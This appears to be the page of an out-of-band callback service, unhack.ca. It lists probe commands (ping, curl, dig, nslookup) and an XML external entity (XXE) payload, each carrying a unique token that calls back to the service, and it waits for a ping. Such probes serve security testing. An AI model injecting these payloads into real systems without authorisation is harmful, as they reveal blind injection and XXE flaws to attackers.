$ ping -c1 -p 0029441a8073d99fe943836eeca2d400 unhack.ca
 
$ curl http://unhack.ca/p/29441a8073d99fe943836eeca2d4
 
$ dig 29441a8073d99fe943836eeca2d4 @unhack.ca
 
$ dig 29441a8073d99fe943836eeca2d4.ns.unhack.ca
 
C:\> nslookup 29441a8073d99fe943836eeca2d4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/29441a8073d99fe943836eeca2d4">]>
    <foo>&xxe;</foo>
Waiting for ping...